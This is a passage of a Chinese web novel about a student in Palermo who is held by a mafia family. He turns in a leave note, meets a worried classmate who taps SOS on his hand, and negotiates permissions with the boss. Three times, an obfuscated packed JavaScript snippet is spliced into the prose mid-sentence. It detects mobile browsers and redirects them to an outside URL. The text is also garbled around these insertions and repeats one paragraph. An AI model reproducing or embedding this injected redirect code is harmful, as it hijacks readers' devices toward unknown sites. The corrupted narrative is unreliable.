马可看了我一眼,那个表情的意思是“你能不能闭嘴”。 我闭嘴了,主动走在前面带路,马可跟在我身后三步内。 教务处在一栋老式的教学楼里,楼梯是那种大理石铺的,踩上去会发出清脆的声响。走廊里贴着各种通知,什么奖学金申请截止日期、交换生项目说明、图书馆期末延长开放时间……我路过的时候忍不住多看了几眼,心里盘算着这学期奖学金的申请材料还差什么。 马可跟在我身后,脚步声很轻,但存在感很强。走廊里路过的几个学生都忍不住多看了他几眼。 毕竟一个一米九的黑西装壮汉出现在大学走廊里出现,确实不太常见。 教务处的门是半开着的,我敲了敲门,里面传来一个中年女人的声音。 “Avanti.” 我推门进去。 教务处主任是一个五十多岁的意大利女人,短发,戴着一副黑框眼镜,头发盘的一丝不苟,看起来就是那种“我在这个岗位上干了三十年什么都见过”的类型。她坐在办公桌后面,面前堆着一摞文件,手里拿着一支笔,正在批什么东西。 “Buongiorno,”我从书包里掏出请假条,双手捧着递过去,“我来补交请假条。” 教务处主任接过请假条,看了一眼,又抬起头看着我,又看了一眼我身后的马可,目光在我和马可之间来回扫了两遍, 请假条上写着“家庭紧急事务”,意大利语,洛伦佐昨晚让马可帮我填好的,措辞很官方,看起来很正式。 但问题不在请假条的内容,问题在于——一个中国留学生,来请假,理由是家庭事务,然而身后跟着一个一看就不是善茬的意大利壮汉。 “你是……林恩?”她翻了一下桌上的文件,找到了我的信息,“中国留学生,经济学院,第二年?” “对,”我点头。 “家庭事务?”她用意大利语问,“什么家庭事务?” 这是标准流程,请假需要说明具体原因,每个大学都有的规矩。 我张了张嘴,脑子飞速运转,正准备发挥一下我从小到大写作文的编能力,给她讲一个意大利远方亲戚的故事——什么表舅姥爷突然去世需要参加一周的葬礼、什么远房表姐结婚需要去帮忙布置结婚会场。 反正意大利人的家庭关系和中国人差不多复杂,现编一个应该不难。 “就是那个——” 我的话没有说完。 因为马可走上前一步,从夹克内袋里抽出一张名片,面无表情地放在桌上。 名片是黑色的,没有任何花哨的设计,只有一行烫金的意大利语和一个名字。 教务处主任低头看了一眼那张名片。 她的脸色瞬间变了。 比起那种“看到了什么可怕的东西”的变,更像是“我看到了一个我不应该看到的东西”的变。我清楚地看见,她的瞳孔骤然放大了,嘴唇抿了一下,然后她的目光从名片上移开,重新落在请假条上。 教务处主任深吸一口气。 她拿起笔。 签了字。 盖章。 “好了,”她把请假条递还给我,声音比刚才柔和了一些,“手续办好了。请假多久都可以,回来之后记得补交作业。” 我愣了一下。 “请多久都可以?” “当然,”教务处主任笑容满面,“家庭事务最重要。学校这边我们会处理的,请你放心。” 这不是请假条,这是张空白支票啊! 我郑重地接过请假条,看了一眼上面的签字和盖章。 Mafia的名片真好用,不知道下次还能不能再借用一下。 “谢谢。” 教务处主任点了点头,目光在我和马可之间又来回了一次,然后低下头继续批她的文件。 “不客气不客气,”教务处主任站起来,亲自把我们送到门口,“您慢走。” 走出教务处的时候,我忍不住回头看了一眼马可。 “那张名片上写了什么?”我有些好奇。 马可面无表情地看着我。 “林恩先生,这种小事你不需要知道。” “……好吧。”毕竟知道了也没什么用处,下次还想请假的时候我再试试找洛伦佐申请借用一下。 “图书馆在哪?”他问。 “图书馆在——”我顿了一下,“等等,我带你去吧,那个楼不太好找。” 我走在前面,马可跟在后面。 说实话,回到学校的感觉很奇怪。走廊里还是那些熟悉的海报,公告栏里还是那些熟悉的通知,空气里还是那种老式教学楼特有的旧书和粉笔灰混合的味道。 一切都和两天前一模一样。 但这两天里发生的事情太多了,多到我觉得自己已经离开学校一个世纪。 图书馆在一栋独立的建筑里,穿过主楼后面的小广场就到了。巴勒莫大学的图书馆不算大,但藏书很丰富,尤其是经济学方面的,我的大部分参考文献都是在这里借的。 推开门,熟悉的旧书味道扑面而来。我深吸一口气,觉得这个味道比那个定制西装店的木质香调好闻多了。 前台坐着一个年轻的女图书管理员,正在给一摞书扫码。我先是去书架上拿了两本新的书,再走过去,把《宏观经济学概论》从书包里掏出来,放在柜台上。 “这两本是借的,这本还的,顺便交一下逾期罚款。” 她先拿起我的学生证登记了新借的书,又拿起那本《宏观经济学概论》翻到封底的内页,扫了一下条码。 电脑屏幕上弹出了借阅记录,她看了一眼,抬起头看着我。 “逾期六天,”她说,“罚款三十欧。” “六天?”我瞪大眼,声音拔高了一个八度,“我借了五天,应该是二十五欧?!” “是的,”她指了指墙上的日历,“今天是第六天。” 但我进门的时间是早上九点左右来的,”我据理力争,“图书馆的规定是‘还书当日不计入逾期天数’,你看一下墙上贴的那条——” 我指着墙上那张泛黄的告示, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“林恩。” “嗯?” “闭嘴。” 我闭嘴了。 我把收据折好放进口袋,又把新借的书放进包里,走出了图书馆。 图书馆的门是那种老式的玻璃门,推开的时候会发出“吱呀”一声。我推开门,阳光涌进来,晃得我眯了一下眼。 然后我听到了一个声音。 “小林子?!” 中文。 在这所学校里,听到中文的概率不低——巴勒莫大学有不少中国留学生。但这个声音我太熟悉了,熟悉到我的后背瞬间出了一层冷汗。 我抬起头。 周姐站在图书馆门口的台阶上,手里抱着一摞书,金色的阳光落在她棕色的卷发上,整个人看起来像是从杂志里走出来的。 周姐,大名周婉清,比我高一届,商学院的学姐。她是那种“留学圈里谁都知道”的人物。她人缘好,对谁都大方,刚来的时候帮我找过房子、办过电话卡、在中餐馆帮我介绍过兼职。 我和她的关系不错,或者说,在这个人生地不熟的异国他乡,她是我为数不多的可以称为“朋友”的人。 但此刻,听到她的声音,我的第一反应不是高兴,而是紧张。 因为我余光里看到,马可的手放进了外套内侧。 那个位置。 我知道,那是放枪的位置。 9. chapter9 别问我为什么一个简单的还书流程能演变成谍战片,问就是我的‘保镖’口袋里揣着枪,而我的学姐正把胳膊搭在我肩膀上。 以及心跳有没有一百八不知道,但肯定比剧烈百米冲刺还要高。 - “小林子!” 周姐又叫了一声,声音从台阶上方传来,带着那种“我终于逮到你了”的雀跃。她三步并作两步地跳下台阶,手里抱着的书差点飞出去。 我僵在原地,脑子里只有一个念头:别过来别过来别过来—— 她过来了。 周姐一只手很自然地搭上了我的肩膀,那种很自然的、不带任何暧昧的、纯粹的“哥们儿好久不见”的搭法。她在留学生圈子里就是这样的人,对谁都大方,跟谁都能称兄道弟,完全不把自己当外人,也完全不让别人觉得尴尬。 但这一次,她的胳膊搭上我肩膀的那一瞬间,我感觉自己像是被人用枪顶住了后背。 “小林子,你昨天怎么没来上课?”周姐的声音里带着半是调侃半是关心的味道,“作业也没交,消息也不回,我发了三条微信你一条都没回,差点以为你被绑架了。” 她说完自己先笑了,显然觉得“绑架”这个词用在这里很夸张。 我在心里想:你没猜错,我差点就被沉海了。 “发烧了,”我勉强露出一个笑容,声音尽量保持自然,“昨天请了假,在家休息。” “发烧?”周姐的眉毛挑了起来,一脸“你在逗我”的表情。 也不怪她不信。上一个冬天,巴勒莫流感大爆发,我烧到三十八度五,浑身滚烫得像刚从桑拿房里出来的,还是强撑着来上了课。因为那天要交小组作业,我是组长,我不来全组都要扣分。结果上完课一出教室门就倒了,被路过的周姐和同班同学抬到校医院挂了两个小时的水,第二天又生龙活虎地出现在了课堂上。 这件事在留学生圈子里传开了,从那以后周姐就管我叫“铁人小林子”。 “你?”她上下打量了我一眼,目光在我那件浅蓝色的针织衫上停了一下,“你上次发烧到三十八度五都坚持来上课,这次居然主动请病假?” 因为如果我昨天不“主动请假”,今天可能就在第勒尼安海海底了。 “这次烧得比较高,”我的喉咙轻微地动了动,尽量用一种平静的语气,“三十九度,实在起不来。” “三十九度你还站着跟我说话?” “退烧了,”我说,“退烧了就来补手续。” 周姐看着我,那个眼神写满了“你是不是在骗我”。但她没有追问,只是收回了搭在我肩膀上的胳膊,往后退了半步。 就是这半步,让我注意到她的目光转向了我身后的马可。 马可站在三步外,右手插在口袋里,面无表情地看着前方。他的站姿看起来像是随意靠在墙上,但我在B站军迷科普里看过那种站姿。重心在两脚之间,随时可以向前迈步或向后退避,右手的位置刚好可以在一秒内完成拔枪的动作。 周姐的目光在马可身上停了两秒,然后她微微侧了侧身,用只有我能听到的音量说了一句苏州话。 “这个人是谁?” 苏州话,她老家苏州,刚来的时候我们聊天聊到过,她说在异国他乡听到乡音会想家,而我的外婆是苏州人,所以我有时候会跟她用苏州话聊天,算是给她解解乡愁。 但此刻她用苏州话问我这句话,说明她不想让身后那个人听到。 我吞了一口唾沫,也压低声音苏州话回她。 “新老板的司机,今天顺路送我来的。” 周姐的眉毛微微皱了一下。 她比我多来一年半,意大利语比我好,在巴勒莫待的时间也比我长,见过的人和事比我多,她对“司机”这个词的反应,比我预想的要敏感。 她转过身去,用身体挡住了马可的视线。 然后她的手垂下来,在我手背上轻轻敲了几下。 我的后背瞬间出了一层冷汗。 那是摩斯密码。 SOS。 她在问我是不是遇到了危险。 我们以前玩游戏的时候为了保持气氛故意用摩斯密码发方位,但此刻,在这个阳光明媚的图书馆门口,在巴勒莫大学的校园里,我的学姐正在用摩斯密码问我是不是身处险境。 我的脑子飞速运转了一秒钟。 然后我微微摇了摇头。 我的手指在她手背上轻轻敲了两下,表示“不用”。然后又敲了三下,表示“没事”。 我的摩斯密码是小时候看《名侦探柯南》好玩学的,没想到有朝一日真的能用上。 但我宁愿这辈子都别用上。 周姐的手指在我手背上停了一下,然后收了回去。 “你什么时候换老板了?” “刚找的,”我说,“兼职,财务相关的,他看我的成绩不错。” 周姐转过身,重新面对我,脸上的表情恢复了那种自然的、带着点调侃的笑容。但她的眼睛里,那点残留的警惕还未褪去。 我知道她很敏锐,但我不能把她扯进来。 我们两个人连把刀都没有,跑不过子弹。 “哎呀,”我故意用普通话大声说,确保后面的马可听到每一个字,“别看这老哥长得凶,人家之前是当渔夫的,在海上风吹日晒的,所以看着吓人。其实人很好的,今天还专门送我来学校。” 我说完这句话的时候,自己都觉得离谱。 渔夫。 马可那张脸,说是特种部队退役的都比渔夫靠谱。 马可的表情没有任何变化,但我觉得他的嘴角抽了一下。 “渔夫?”周姐看了马可一眼,那个表情写满了“你在逗我”。 “对,渔夫,”我点头,“打渔的,巴勒莫靠海嘛,传统行业,很正常。” 马可依然面无表情。 但他的右手从口袋里拿出来了。 周姐收回目光,重新看着我:“那你怎么昨天作业也没交?教授上课的时候还问了一嘴,说林恩今天怎么没来。” “作业——”我一拍脑袋,赶紧把书包取下来,拉开拉链,从里面翻出一个文件夹,里面装着写完的作业——计量经济学的习题,我对着录播课一点一点做的,虽然缺了两天课,但作业不能落下。 “这个帮我交给教授吧,昨天的作业,本来想扫描电子发邮件的,但是——” 但是我昨天在签合同,在看三份合同的一致性,在跟法务总监讨论税后和管辖条款。 “但是什么?” “但是昨天发烧,烧糊涂了,忘了发。”我把文件夹递给她,“能不能麻烦你帮我交给教授?就是那个计量经济学的作业,第三章的那套题。” 周姐接过文件夹,翻开看了一眼。“你写完了?” “写完了。” “第三章那套题特别难,我写了三个小时才写完,”她翻着我的作业,眼睛瞪大了一点,“你全做对了?” “大概吧,”我说,“最后一道题我不太确定,你帮我看看,如果错了你帮我改一下再交。” 周姐合上文件夹,看着我,那个眼神里有疑惑,有关心,还有一点“你到底在搞什么鬼”的无奈。 “你今天也不上课?” 我顿了顿。 “嗯,”我说,“还有点其他的事情要处理,这两天都没法来学校。刚刚已经找教务处请好假了。” “请假?”周姐皱了皱眉,“你请了多久?” “一周。” “一周?!”她的声音拔高了一点,“你一周不来上课?奖学金怎么办?” “请假不影响全勤,”我说,“教务处说的。” 周姐看着我,那个表情写满了“我不信但我不问了”。她深吸一口气,把文件夹放进自己的包里。 “行吧,”她说,“作业我帮你交。对了——” 她从包里掏出手机,在屏幕上划了几下。 “上周我们组做的那个数据模型,你还记得吧?就是那个关于巴勒莫地区旅游消费的分析。” “记得。” 那是一个课程项目,我和周姐一组,我用Stata跑了一组数据,结果一直不太理想,存在异方差性问题。周姐上周还说要和我讨论怎么调整模型。 “我昨天跑了一遍,发现几个变量的显著性不太对。你之前不是说要做一个稳健性检验吗?这两天找个时间,咱俩线上讨论一下?下周教授要看的。” 我刚打算答应,嘴巴还没张开又闭上了。 线上讨论。 这个词在我脑子里转了两圈。 我不知道自己什么时候能来学校。不知道什么时候能自由活动。甚至不知道洛伦佐会不会允许我参加一个留学生的线上讨论,甚至不知道新手机能不能用微信——意大利版本的iPhone,App Store是意大利区的,下载微信可能还要换地区。 “嗯,等我忙完了,”我含含糊糊地说,“抽个时间,线上讨论吧。到时候你把数据发我,我把结果发你。” 周姐看了我一眼,那个眼神的意思是“你在搞什么飞机”。 但她没有追问,只是点了点头。 “行,那你好了告诉我。” “好。” 我以为对话到此结束了。 但周姐又想起了一件事。 “对了,这周五晚上的聚会别忘了。” 我的笑容凝固了。 周五晚上的聚会。 我怎么把这茬忘了。 留学生圈有个习惯,就是抱团取暖。在这个语言不通、文化不同的异国他乡,我们这群中国人是彼此最坚实的后盾。而巴勒莫大学的中国留学生不多,大概二三十个人,隔一段时间就会聚一次,吃吃饭、聊聊天、搓搓麻将打打牌,算是异国他乡的一点慰藉。 这次的聚会定在这周五晚上,半个月前就开始在群里接龙了。菜单、场地、每个人要带的菜,全部安排得明明白白。我还在接龙里兴致勃勃地报了四个菜——红烧排骨、番茄炒蛋、啤酒鸭、蒜蓉粉丝——连配料的清单都列好了,发在群里,收获了十几个“期待小林子大厨”的回复。 当时我还跟周姐吹牛说:“等着吧,哥没在这地方饿死,那可真亏了哥救命的厨艺。” 如果我一整周都不出现,周五的聚会也不来,电话不接,消息不回…… 他们一定会报警。 不是开玩笑,在异国他乡,大家就是彼此的“紧急联系人”。谁几天没出现,电话不接消息不回,群里就会开始有人问“xx最近怎么了”。如果连续一周联系不上,真的会有人报警。不是那种“随便报着玩”的报警,是正儿八经地去警察局、联系学校、甚至找大使馆。 上次有个学艺术的男生,手机丢了三天没买新的,群里的人联系不上他,直接打了驻意大使馆的领事保护电话。后来大使馆的人联系上了学校,学校联系了他的房东,房东用备用钥匙开了门,发现他只是在房间里昏天昏地地画油画。 那件事之后,我们这群留子们就形成了一个不成文的规矩:谁要是超过四十八小时不出现,就开始打电话。七十二小时还联系不上,就启动“找人程序”。 毕竟留学生们对“失联”这件事有着本能的恐惧。因为在异国他乡,失联往往意味着出事。 而我现在,就是那个“失联”的人。 我的脑子转得飞快,像是期末考试前夜的CPU,温度飙升,风扇狂转。 然后我笑了。 并不是真的想笑,而是那种“我必须笑出来否则就露馅了”的笑。 我努力让自己的表情看起来轻松自然,就像在正常地和老朋友聊天一样。 “哎呀,”我拍了一下周姐的肩膀,语气轻松得像在聊今天食堂的菜,“等着吧,哥的手艺那可是一绝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周姐说的那个数据模型,我们确实做了。那个关于巴勒莫地区旅游消费的分析,是计量经济学课程的项目,占最终成绩的百分之三十。我和周姐还有另外两个中国留学生组了一个四人小组,我负责数据分析和模型构建,周姐负责文献综述和报告撰写,另外两个人负责数据收集和PPT制作,甚至我还拉了个隔壁计算机学长当外援。 如果我不参与,整个项目就会停滞。如果项目做不完,期末成绩就会受影响。如果期末成绩不好,奖学金就会—— 等等,奖学金。 我深吸一口气,把这个问题暂时压了下去。 先解决眼前的问题:怎么让洛伦佐同意我参加周五的聚会。 不,在那之前——怎么让他同意我参加线上学术讨论会。 毕竟“线上”意味着网络,网络意味着信息流通,信息流通意味着风险。万一我在视频通话的时候不小心说漏了什么,或者背景里出现了一个不该出现的东西…… 我掏出新手机,看了一眼屏幕。 微信还没有下载。 意大利版本的iPhone,App Store是意大利区的,搜索“WeChat”出来的结果是一个意大利语版本的微信,评论里有人说这个版本经常收不到消息。我需要改地区,改完地区还要验证Apple ID,验证完了还要重新登录—— 我又在想,我能不能用“工作需要”作为理由,申请一台可以正常使用微信的电脑。 然后我又在想,我该怎么跟洛伦佐开口说这件事。 “老板,我需要参加一个学术讨论会,因为下周要交作业。” 听起来很合理。 “老板,我还需要参加一个周五的华人留学生聚会,因为如果我不去,我的朋友们可能会报警找我。” 这个听起来就没那么合理了。 我靠在车窗上,看着窗外飞速后退的街景,脑子里的计算一刻也没有停。 线上讨论会,聚会,作业,模型,奖学金,合同,时薪,地暖,余额宝。 这些词在我脑子里转来转去,就好像一群乌压压找不到出口的飞蛾。 车开上了那条沿海的公路,海在右边,阳光洒在海面上碎成一片金色的光。 一切看起来都很正常。 除了我。 一个穿着Mafia首领买的衣服、口袋里揣着新iPhone、书包里放着时薪高得离谱的合同、被一个Mafia高级成员“护送”着回到庄园的留学生。 马可从后视镜里看了我一眼。 “在想什么?”他问。 这是他今天主动和我说的最长的一句话。 我想了想。 “在想怎么跟老板申请线上开会的权限。” 马可的眼神里有一种极其微妙的、难以描述的情绪。 他没有再说话,我也没有继续说话。 车继续开着。 我在心里默默地列了一个清单。 第一,申请一台可以正常使用微信和Zoom的电脑。 第二,申请参加线上学术讨论会的许可。 第三,申请参加周五华人留学生聚会的许可。 第四,祈祷洛伦佐的心情足够好。 第五,如果心情不好,至少别把我沉海。 车拐进了那条熟悉的巷子,庄园的铁门无声无息地滑开。 我忽然想起了周姐刚才用摩斯密码问我的那个问题。 SOS。 她在问我是不是遇到了危险。 我当时回答的是“没事”。 但说实话,我自己也不知道,到底有没有事。 车驶进了庄园的铁门,停在内院。我下了车,深吸一口西西里带着海盐味的空气。 远处传来海鸥的叫声。 我知道,该去跟洛伦佐谈谈了。 10. chapter10 别问我为什么一个Mafia顾问要跟老板报备学术讨论会,问就是我的社交圈里有一群会在七十二小时内启动“找人程序”的Chinese留学生。 以及,我现在的风险评估能力已经可以胜任任何一家咨询公司。 不用羡慕,用命换的。 --- 马可把车停在内院,我推开车门,脚踩在碎石路上,发出咯吱咯吱的声响。院子里那棵柠檬树在午后的阳光下泛着金黄色的光,空气里弥漫着一股淡淡的柑橘香气。 一切都很安静,安静得像什么都没发生过。 除了我后背那件被冷汗浸透的浅蓝色针织衫。 我快步走进主楼,穿过走廊,上楼,回到那个有地暖的房间。关上门的那一刻,我整个人靠在门板上,长长地呼出一口气,像是一个溺水的人终于浮出了水面。 周姐的胳膊搭在我肩膀上的触感还残留在皮肤上。她用手指在我手背上敲出SOS的节奏,那个嗒嗒嗒的声音还在我耳朵里回响。 我闭了一会儿眼睛,然后睁开,走到书桌前坐下。 新手机。 我掏出来,解锁,打开App Store。 意大利版本的iPhone,App Store是意大利区的。我点开搜索栏,输入“WeChat”,出来的是一个蓝色图标的App,名字写的是“WeChat - 微信”,但下面的描述是意大利语的。评论区里有人用意大利语抱怨说“这个版本收不到消息提醒”,还有人用英语说“notifications don’t work”。 意大利版本的iPhone,App Store默认是意大利区。我打开App Store,搜索“WeChat”,出来的第一个结果是一个叫“WeChat”的App,描述是意大利语,评论里有人用意大利语写“这个版本经常收不到消息”。 不行。 我需要改地区。 我点进Apple ID的设置,找到“国家/地区”,选择“更改”。系统弹出一个提示:更改国家/地区后,您将无法使用原有的商店余额,且订阅服务可能会被取消。 我没有商店余额,也没有订阅服务。唯一订阅过的东西是iCloud的50GB存储空间,上个月因为欠费已经被停了。 我点了“继续”。 然后系统让我填写新的付款方式。我翻了半天钱包,找到一张过期了三个月的中国信用卡,试了一下,不行。 我卡在这一步,足足折腾了二十分钟。 最后我放弃了改地区,直接在搜索框里输入了“WeChat”的拼音,往下翻了十几条,终于找到了一个英文版的微信。评论只有三条,但都说“这个版本可以用”。 我点了下载。 进度条走得比蜗牛还慢。我怀疑这个庄园的光纤虽然快,但App Store连的是中国的服务器,跨国带宽慢得像在用2G网。 等微信下载的时候,我已经喝完了一杯泡好的豆奶,又去续了一杯咖啡。 进度条走完的那一刻,我差点喊出一句“耶”。 熟悉的绿色图标。熟悉的“W”字母。它安安静静地躺在我的手机屏幕上,像是一个老朋友在跟我招手。 登录。 账号密码我记得很清楚——虽然不常登,但密码是我的生日加学号后四位,想忘都难。 登录成功。 然后我的手机就开始疯狂地震动。 留学生群:一百多条消息。有人在讨论周五的聚会菜单,有人在问谁有电饭煲可以借,有人说自己从国内带了一包火锅底料,问要不要周五煮了。 小组群:十几条消息。主要是另外两个组员在讨论数据收集的进度,周姐在中间回复了几句,说“等小林子回来跑模型”。 还有周姐的私聊,一条接一条。 昨天上午九点十三分:“小林子你今天怎么没来上课?教授点名了。” 昨天上午十点二十一分:“你作业交了没?我帮你占了个座,你下午来不来?” 昨天中午十二点零五分:“你没事吧?看到消息回一下。” 昨天下午三点四十分:“我打电话你也不接,你是不是手机丢了?” 昨天晚上八点十五分:“林恩你再不回消息我就报警了。” 昨天晚上十点零二分:“算了,你可能真的有事。看到消息回我。” 然后今天早上的消息。 八点四十五分:“早,你今天也不来吗?” 九点十分:“作业我帮你交了,你回头请我喝奶茶。对了,教授看了你的答案,说你最后一道题的思路很精彩,问你是不是自己做的,还问你是不是之前学过高级计量哈哈哈,我说是你自己做的,教授说他下次课要请你上去讲。顺便,教授说第六章的作业你不用补交了,因为你昨天的作业已经涵盖了大部分内容,算你全勤。” 全勤! 这个词像一束光照进了我灰暗的世界。全勤保住了,奖学金保住了,下学期的学费有着落了。 我的嘴角忍不住上扬了一点。 九点三十五分:“差点忘了,教授说下周二有个小测验,范围是第五章到第七章。你记得复习。” 十点十分:“周五别忘了带可乐!你自己答应的!” 十点二十分:“对了对了,你那个模型的结果什么时候能给我?我周末想把文献综述写完,需要你的结果作为支撑。你看到消息回我一下,我晚上有空,咱们可以线上聊。” 十一点零八分:“小林子你是不是又睡过去了?回消息啊!” 十一点半:“算了算了,你忙完了记得找我。数据我发你邮箱了。” 以及最后一条是十分钟前发的:“你看到消息了没?别装死,要是烧昏了也吱一声。” 我一条一条地看完,深吸一口气,开始打字。 “周姐,消息收到了,不发烧了,作业的事谢了,奶茶一定请。模型的结果我马上整理一下,弄好了发你。可乐我买大瓶的,放心绝对咱们够喝。” 发送。 然后我盯着屏幕看了几秒钟,又在后面补了一句。 “老板这里工作比较多,可能回消息慢,你别担心。” 门被敲响了。 我放下手机,走过去开了门。 马可站在门口,面无表情地看着我。 “BOSS让你去书房。” “……现在?” “现在。” 我低头看了一眼自己身上那件浅蓝色的针织衫,还行,挺整齐的,不用换。然后我深吸一口气,跟着马可走出了房间。 还是一楼的那间书房,马可走到门前,敲了两下,然后推开门,侧身让我进去。 我走了进去。 洛伦佐坐在办公桌后面。 他今天穿的是一件深灰色的衬衫,领口解开两颗扣子,露出一小截锁骨。袖子卷到小臂,手腕上戴着一块看起来就很贵的表。翠绿色的眼睛正盯着桌上的文件,手指在纸页上轻轻叩着,像是在思考什么。 他没有抬头。 “坐。”他说。 我看了看他面前那把椅子,又看了看他的表情,默默地坐下了。 椅子是真皮的,坐上去舒服得不像话,但我完全没有心情享受,因为我的后背挺得笔直,像是小学课堂里被老师点名回答问题时的坐姿。 洛伦佐继续看了大概十秒钟的文件,然后合上文件夹,抬起头。 翠绿色的眼睛落在我身上。 “你今天在学校,”他说,声音不大,但每一个字都很清楚,“遇到了谁?” 我的喉咙紧了一下。 他的用词是“遇到了谁”,而不是“去了哪里”或者“做了什么”。这意味着马可已经把所有事情都汇报给他了。包括周姐,包括她的胳膊搭在我肩膀上,甚至可能包括她用摩斯密码问我是不是遇到了危险。 我咽了口唾沫。 “一个学姐,”我说,“中国留学生,比我高一届,商学院的。之前我找房子、办电话卡,她帮过我很多忙。今天在图书馆门口碰巧遇到的,纯属巧合。” “名字。” “周婉清,我们都叫她周姐。” 洛伦佐的表情没有任何变化,但翠绿色的眼睛里有什么东西闪了一下。 “她和你什么关系?” “朋友,”我说,“算是……在这边比较熟的人。我刚来的时候她帮我找过房子,办过电话卡,还帮我介绍过兼职。人挺好的。” 洛伦佐的手指在桌面上轻轻叩了一下。 “她跟你说话的时候,”他的声音依然很轻,“用的是方言?” 我的后背又出了一层冷汗。 他连这个都知道。马可应该听不懂苏州话,但洛伦佐知道那是方言。这意味着他要么懂中文方言,要么他手下有懂中文方言的人。 “对,”我说,“她老家苏州,我外婆也是苏州人,所以有时候会用方言聊天。” 洛伦佐的嘴角微微动了一下,不知道是笑还是什么。 “她用手在你手背上敲了几下,”他说,“那是什么?” 我的心脏猛地收缩了一下。 马可连这个都看到了。 不,不对,马可当时站在三步外,周姐用身体挡住了他的视线,按理说他看不到周姐的手。除非他的观察力比我预想的要强得多,或者他当时移动了位置。 还有一种可能,他派人黑入了大学监控。 我不能编瞎话,在这个人面前编瞎话,等于自杀。 “摩斯密码,”我说,“她在问我是不是遇到了危险。” 洛伦佐的眉毛微微挑了一下。 “摩斯密码,”他重复了一遍这四个字,翠绿色的眼睛里闪过一丝复杂的情绪,“你的学姐,在大学图书馆门口,用摩斯密码问你有没有危险。” “对,我猜她可能把马可当成讨债的了。”我耸了耸肩,想要装出一副轻松的样子。 “你怎么回答的?” “我说没事,马可是新老板的司机,顺路送我来学校的。” “渔夫?”洛伦佐的嘴角扬了一下。 我的脸一下子红了。 “那是……我随口编的,”我说,“为了让她别多想。马可长得确实不像渔夫,但是——” “但是什么?” “但是我当时实在想不出别的合理的解释。总不能说他是我的私人保镖吧?我一个穷学生,哪来的私人保镖。” 洛伦佐盯着我看了两秒钟。 “然后呢?” “她还问了我为什么昨天没来,作业怎么没交。” “你怎么回答的?” “我说我发烧了,烧到三十九度,请假在家休息。” 洛伦佐的嘴角微微弯起,那个弧度介于“这谎话编得还行”和“你觉得会信吗”之间。 “你还有没有什么别的,”他说,声音很轻,“想跟我说的?” 这是一个开放性的问题,一个陷阱。 我听出了其中的潜台词:你最好主动交代,不要让我来问。 但这也是一个机会。 我的脑子飞速运转。 “有,”我说,“两件事。” 洛伦佐敲桌子的手指停住了。 “说。” 我深吸一口气,用一种“我在给教授做学术汇报”的语气开了口。 “第一个事情,线上会议权限。” 洛伦佐的眉毛微微挑了一下。 “我和周姐——就是刚才说的那个学姐——我们有一个计量经济学的课程项目,关于巴勒莫地区旅游消费的数据分析。”我说,“项目下周要交进度报告,教授要看。我们的模型出了点问题,拟合优度一直上不去,需要线上讨论一下怎么调整。周姐说她想拉组员跟我在线上讨论一下,改一下模型,不然来不及,期末成绩会受影响。” “然后呢?”洛伦佐问。 “然后如果期末成绩不好,GPA会掉。GPA掉的话,奖学金可能就没了——” “林恩。” “在。” “说重点。” “重点是,”我清了清嗓子,“我需要一台能正常使用微信和Zoom的电脑,以及参加线上会议的许可。会议大概一到两个小时,不会涉及任何与维斯科尼家族相关的内容,纯粹是学术讨论。” 洛伦佐看着我,翠绿色的眼睛里有一种“你在为了一个课程项目跟我谈条件”的微妙含义。 “第二件事呢?”他问。 我顿了顿。 这件事比线上会议难说一百倍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449720|201143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “第二件事,”我的声音小了一些,“周五晚上有一个华人留学生的聚会。” 洛伦佐的表情没有变化,但手指停止了叩击桌面。 “聚会?” “对,就是留学生们聚在一起吃吃饭、聊聊天。大概十几个人,这个聚会半个月前就定好了,我在群里报了名,还报了四个菜。” “四个菜?”洛伦佐的语气微微上扬。 “红烧排骨、番茄炒蛋、啤酒鸭和蒜蓉粉丝。”我掰着手指头数,“我早就发在群里了,大家都很期待。” 洛伦佐看着我的眼神,就像一个人看着一只猫在自己面前表演倒立。 “所以,”他慢悠悠地开口,“你想告诉我,你要去参加一个十几个人的聚会,做四个菜,因为你的朋友们很期待?” “我必须去。”我说。 洛伦佐的眉毛又动了一下,那个意思大概是“你在跟我讲条件?”。 “不是‘想去’,是‘必须去’,”我说,语气认真得像在报告会上分析一个经济学模型,“因为如果我不去,后果会很严重。” “多严重?” “非常严重。” 洛伦佐靠在椅背上,双手交叉放在腹部,翠绿色的眼睛带着一种“我就听你瞎编”的审视。 “因为如果我不去,”我说,“他们会报警。” 洛伦佐的表情出现了一个极其微妙的变化。 那个变化太快了,快到我差点没捕捉到。他的眉头微微皱了一下,嘴角的弧度收了一点,整个人从“慵懒的BOSS”切换到了“你到底在说什么鬼话”的模式。 “你跟我说,”他一个字一个字地说,“如果你不去参加一个华人留学生的聚会,你的朋友会报警?” “对,报警,”我说,“因为大家都是独自在异国他乡,没有家人,没有亲戚,彼此就是最近的依靠。所以如果有人超过四十八小时不出现,大家就会开始打电话。” 洛伦佐的表情没有变化。 “如果还联系不上,”我继续说,“就会启动‘找人程序’。打电话给学校,打电话给房东,打电话给所有认识的人。如果这些都没用,就会报警。” 洛伦佐的眉毛动了一下。 “报警之后,”我说,“警察会立案。如果警察找不到人,七十二小时内,我们就会打大使馆电话。” 洛伦佐盯着我看了三秒钟。 那个表情就像一个人听到了一首完全听不懂的歌——困惑、怀疑、以及一种“你到底在说什么”的茫然。 “为什么?”他问。 